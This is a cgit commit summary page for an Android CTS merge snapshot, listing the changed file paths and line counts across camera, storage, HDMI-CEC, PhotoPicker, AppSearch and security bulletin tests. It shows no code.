summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorAndroid Build Coastguard Worker <android-build-coastguard-worker@google.com>2023-12-01 04:13:34 +0000
committerAndroid Build Coastguard Worker <android-build-coastguard-worker@google.com>2023-12-01 04:13:34 +0000
commit8215080c70fcede0fc989dff90e418e3fd8bc92b (patch)
treec75b5a40404276164b9ff9164667180ad7a63a50
parent562df27a0b78237335b21233b71d2d5e709552e9 (diff)
parent21b5a2fd7744df8b0ed06bfb56dde551dbead002 (diff)
downloadcts-android14-mainline-cellbroadcast-release.tar.gz
Snap for 11164065 from 21b5a2fd7744df8b0ed06bfb56dde551dbead002 to mainline-cellbroadcast-releaseaml_cbr_341410010android14-mainline-cellbroadcast-release
Change-Id: I6973a5604cb87ec44f8105ce0235eb858f17794d
-rw-r--r--apps/CameraITS/tests/scene2_a/test_num_faces.py114
-rw-r--r--apps/CameraITS/tests/scene2_d/test_autoframing.py24
-rw-r--r--apps/CameraITS/tests/scene4/test_multi_camera_alignment.py3
-rwxr-xr-xapps/CameraITS/tools/run_all_tests.py11
-rw-r--r--apps/CameraITS/utils/opencv_processing_utils.py126
-rw-r--r--apps/CtsVerifier/AndroidManifest.xml10
-rw-r--r--apps/CtsVerifier/res/menu/test_list_menu.xml6
-rw-r--r--apps/CtsVerifier/res/values/strings.xml5
-rw-r--r--apps/CtsVerifier/res/xml/searchable.xml5
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java282
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/TestListActivity.java52
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java92
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java105
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java2
-rw-r--r--common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/BedsteadJUnit4.java3
-rw-r--r--common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java12
-rw-r--r--common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/Policy.java6
-rw-r--r--common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/accounts/AccountBuilder.java3
-rw-r--r--common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java7
-rw-r--r--common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTypeTest.java4
-rw-r--r--common/device-side/bedstead/remoteaccountauthenticator/src/main/java/com/android/bedstead/remoteaccountauthenticator/RemoteAccountAuthenticator.java6
-rw-r--r--common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAccountAuthenticator.java3
-rw-r--r--common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/ScreenDeviceInfo.java25
-rw-r--r--common/device-side/interactive/src/main/java/com/android/interactive/Step.java35
-rw-r--r--common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java5
-rw-r--r--common/device-side/util-axt/src/com/android/compatibility/common/util/PermissionUtils.java309
-rw-r--r--hostsidetests/angle/Android.bp1
-rwxr-xr-xhostsidetests/angle/app/gameDriverTest/AndroidManifest.xml38
-rw-r--r--hostsidetests/angle/app/gameDriverTest/src/com/android/angleIntegrationTest/gameDriverTest/AngleDriverTestActivity.java61
-rw-r--r--hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java23
-rw-r--r--hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java91
-rw-r--r--hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java5
-rw-r--r--hostsidetests/appsearch/Android.bp4
-rw-r--r--hostsidetests/appsecurity/Android.bp37
-rw-r--r--hostsidetests/appsecurity/AndroidTest_ApexSignatureVerificationTest.xml30
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/build.bazel.examples.apex.minimal.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.adservices.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.apex.product.test.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.apex.system.test.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.apex.system_ext.test.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.apex.vendor.test.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.appsearch.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.btservices.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.car.framework.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.cellbroadcast.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.compos.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.extservices.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.geotz.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.core_permissions.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.power.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.sensors.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.thermal.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.usb.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.vibrator.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.wifi.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.mediaprovider.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.modules.updatablesharedlibs.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.ondevicepersonalization.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.os.statsd.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.permission.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.rkpd.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.scheduling.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.uwb.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.vibrator.drv2624.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.vibrator.sunfish.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.virt.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.vndk.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.wifi.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.google.cf.apex.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.google.emulated.camera.provider.hal.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/src/android/appsecurity/cts/ApexSignatureVerificationTest.java40
-rw-r--r--hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java2
-rw-r--r--hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java4
-rw-r--r--hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java41
-rw-r--r--hostsidetests/appsecurity/test-apps/rro/OverlayTarget/AndroidManifest.xml1
-rw-r--r--hostsidetests/appsecurity/test-apps/rro/OverlayTarget/src/com/android/cts/overlay/target/OverlayTargetTest.java10
-rw-r--r--hostsidetests/appsecurity/test-apps/rro/OverlayTarget/src/com/android/cts/overlay/target/SimpleActivity.java25
-rw-r--r--hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java305
-rw-r--r--hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java13
-rw-r--r--hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java273
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java5
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java3
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/RequiredDeviceTypeRule.java29
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecAudioReturnChannelControlTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecRemoteControlPassThroughTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecSystemAudioModeTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecDeviceTypeTest.java4
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecFeatureAbortTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecGeneralProtocolTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecInvalidMessagesTest.java4
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecLogicalAddressTest.java4
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPhysicalAddressTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemAudioControlTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java3
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemStandbyTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecVendorCommandsTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecActiveTrackingTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecAvbToTvTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceSelectForPlaybackTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecGeneralProtocolTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecOneTouchPlayTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPowerStatusTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRemoteControlPassThroughTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSoundbarModeTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStandbyTest.java3
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java3
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecWakeupTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/targetprep/CecPortDiscoverer.java19
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAbsoluteVolumeControlFollowerTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAudioReturnChannelControlTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAvbToAudioSystemTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecGeneralProtocolTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRemoteControlPassThroughTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRoutingControlTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemAudioControlTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemInformationTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvOneTouchPlayTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvStandbyTest.java1
-rw-r--r--hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java4
-rw-r--r--hostsidetests/scopedstorage/Android.bp214
-rw-r--r--hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppE.xml52
-rw-r--r--hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppE30.xml51
-rw-r--r--hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppE30FileManager.xml52
-rw-r--r--hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppELegacy.xml47
-rw-r--r--hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppGeneralOnly.xml52
-rw-r--r--hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppSystemGallery30BypassDB.xml10
-rw-r--r--hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppSystemGalleryBypassDB.xml1
-rw-r--r--hostsidetests/scopedstorage/TEST_MAPPING18
-rw-r--r--hostsidetests/scopedstorage/bypassdatabase/AndroidManifest.xml42
-rw-r--r--hostsidetests/scopedstorage/bypassdatabase/AndroidTest.xml48
-rw-r--r--hostsidetests/scopedstorage/bypassdatabase/src/android/scopedstorage/cts/bypassdatabase/BypassDatabaseOperationsTest.java292
-rw-r--r--hostsidetests/scopedstorage/device/AndroidManifest.xml3
-rw-r--r--hostsidetests/scopedstorage/device/AndroidTest.xml5
-rw-r--r--hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/BypassDatabaseOperationsTest.java94
-rw-r--r--hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java5
-rw-r--r--hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java27
-rw-r--r--hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/StableUrisTest.java1
-rw-r--r--hostsidetests/scopedstorage/general/AndroidManifest.xml42
-rw-r--r--hostsidetests/scopedstorage/general/AndroidTest.xml47
-rw-r--r--hostsidetests/scopedstorage/general/src/android/scopedstorage/cts/general/ScopedStorageDeviceTest.java3590
-rw-r--r--hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/ScopedStorageBaseDeviceTest.java (renamed from hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageBaseDeviceTest.java)9
-rw-r--r--hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java28
-rw-r--r--hostsidetests/scopedstorage/redacturi/AndroidManifest.xml37
-rw-r--r--hostsidetests/scopedstorage/redacturi/AndroidTest.xml43
-rw-r--r--hostsidetests/scopedstorage/redacturi/src/android/scopedstorage/cts/redacturi/RedactUriDeviceTest.java586
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20944.java52
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_35669.java48
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-20944/Android.bp58
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-20944/res/values/strings.xml37
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-20944/target-app/AndroidManifest.xml24
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-20944/target-app/src/android/security/cts/CVE_2023_20944_target/TargetActivity.java35
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/AndroidManifest.xml35
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/res/xml/authenticator.xml19
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/DeviceTest.java126
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/HijackActivity.java22
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/PocActivity.java108
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/PocAuthService.java85
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-35669/Android.bp59
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-35669/res/values/strings.xml40
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-35669/target-app/AndroidManifest.xml27
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-35669/target-app/src/android/security/cts/CVE_2023_35669_target/TargetActivity.java32
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/AndroidManifest.xml41
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/res/xml/authenticator.xml20
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/DeviceTest.java158
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/HijackActivity.java35
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/PocActivity.java59
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/PocAuthService.java177
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/ActionGetContentOnlyTest.java32
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/ActionPickImagesOnlyTest.java45
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/ActionUserSelectImagesForAppTest.java39
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/CloudPhotoPickerTest.java26
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/DeviceStatePreserver.java116
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBannersTest.java195
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java40
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCloudUtils.java135
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerSettingsTest.java153
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java13
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java28
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerComponentUtils.java (renamed from tests/PhotoPicker/src/android/photopicker/cts/util/GetContentActivityAliasUtils.java)84
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java11
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerPackageUtils.java66
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java36
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/util/UiAssertionUtils.java11
-rw-r--r--tests/accessibility/AndroidTest.xml4
-rw-r--r--tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java37
-rw-r--r--tests/app/WallpaperTest/src/android/app/cts/wallpapers/WallpaperManagerTest.java36
-rw-r--r--tests/app/src/android/app/cts/ActivityManagerMemoryClassTest.java28
-rw-r--r--tests/appsearch/Android.bp6
-rw-r--r--tests/appsearch/testutils/Android.bp36
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/AppSearchSessionShimImpl.java231
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/BatchResultCallbackAdapter.java41
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/FakeAppSearchConfig.java258
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/GlobalSearchSessionShimImpl.java162
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/MainlineFeaturesImpl.java86
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/SearchResultsShimImpl.java70
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/SystemUtil.java62
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/ThrowingRunnable.java23
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/external/AlwaysSupportedFeatures.java82
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/external/AppSearchConfigImpl.java140
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/external/AppSearchSessionShim.java395
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/external/DefaultIcingOptionsConfig.java89
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/external/Features.java190
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/external/GlobalSearchSessionShim.java193
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/external/SearchResultsShim.java56
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/external/UnlimitedLimitConfig.java40
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/AppSearchEmail.java217
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/AppSearchTestUtils.java130
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/SimpleTestLogger.java97
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/TestObserverCallback.java133
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/package-info.java20
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java27
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/dropdown/LoginActivityTest.java3
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java4
-rw-r--r--tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java11
-rw-r--r--tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java5
-rw-r--r--tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java2
-rw-r--r--tests/framework/base/windowmanager/AndroidManifest.xml7
-rw-r--r--[-rwxr-xr-x]tests/framework/base/windowmanager/jetpack/SecondApp/AndroidManifest.xml8
-rw-r--r--tests/framework/base/windowmanager/jetpack/SecondApp/src/android/server/wm/jetpack/second/Components.java2
-rw-r--r--tests/framework/base/windowmanager/jetpack/SecondApp/src/android/server/wm/jetpack/second/PortraitActivity.java25
-rw-r--r--tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/embedding/ActivityEmbeddingLifecycleTests.java22
-rw-r--r--tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/embedding/ActivityEmbeddingPolicyTests.java53
-rw-r--r--tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml3
-rw-r--r--tests/framework/base/windowmanager/res/drawable/background_image.xml31
-rw-r--r--tests/framework/base/windowmanager/res/layout/background_image.xml17
-rw-r--r--tests/framework/base/windowmanager/res/values/styles.xml1
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java46
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java3
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java5
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java2
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java14
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java46
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java5
-rw-r--r--tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java11
-rw-r--r--tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java6
-rw-r--r--tests/inputmethod/mocklargeresourceime/AndroidManifest.xml2
-rw-r--r--tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java6
-rw-r--r--tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java5
-rw-r--r--tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java3
-rw-r--r--tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java2
-rw-r--r--tests/media/common/src/android/mediav2/common/cts/EncoderConfigParams.java6
-rw-r--r--tests/media/jni/NativeCodecEncoderSurfaceTest.cpp2
-rw-r--r--tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java16
-rw-r--r--tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanLargerThanVerification.java2
-rw-r--r--tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java3
-rw-r--r--tests/surfacecontrol/src/android/view/surfacecontrol/cts/SurfaceViewSyncTest.java2
-rw-r--r--tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java6
-rw-r--r--tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java30
-rw-r--r--tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java21
-rw-r--r--tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java3
-rw-r--r--tests/tests/hardware/src/android/hardware/input/cts/tests/VirtualDeviceTestCase.java31
-rw-r--r--tests/tests/hibernation/src/android/hibernation/cts/AppHibernationUtils.kt2
-rw-r--r--tests/tests/hibernation/src/android/hibernation/cts/AutoRevokeTest.kt6
-rw-r--r--tests/tests/libcorefileio/src/android/cts/FileChannelInterProcessLockTest.java203
-rw-r--r--tests/tests/media/audio/res/raw/sine40dblong_44k_128kbps_LC.m4abin0 -> 1134888 bytes
-rw-r--r--tests/tests/media/audio/src/android/media/audio/cts/AudioTrackOffloadTest.java23
-rw-r--r--tests/tests/media/audio/src/android/media/audio/cts/RingtoneTest.java7
-rw-r--r--tests/tests/media/decoder/src/android/media/decoder/cts/DecodeOnlyTest.java39
-rw-r--r--tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java24
-rw-r--r--tests/tests/media/decoder/src/android/media/decoder/cts/ImageReaderDecoderTest.java9
-rw-r--r--tests/tests/notification/src/android/app/notification/current/cts/NotificationTemplateTest.kt8
-rw-r--r--tests/tests/os/jni/android_os_cts_PerformanceHintManagerTest.cpp4
-rw-r--r--tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt12
-rw-r--r--tests/tests/packageinstaller/packagescheme/src/android/packageinstaller/packagescheme/cts/PackageSchemeTestBase.kt23
-rw-r--r--tests/tests/packageinstaller/tapjacking/src/android/packageinstaller/tapjacking/cts/TapjackingTest.java20
-rw-r--r--tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_PlaylistsTest.java6
-rw-r--r--tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java35
-rw-r--r--tests/tests/security/Android.bp59
-rw-r--r--tests/tests/security/AndroidManifest.xml13
-rw-r--r--tests/tests/security/AndroidManifest_PackageSignatureTest.xml49
-rw-r--r--tests/tests/security/AndroidTest.xml1
-rw-r--r--tests/tests/security/AndroidTest_PackageSignatureTest.xml47
-rw-r--r--tests/tests/security/TileServiceNullBindingTestApp/Android.bp (renamed from hostsidetests/angle/app/gameDriverTest/Android.bp)22
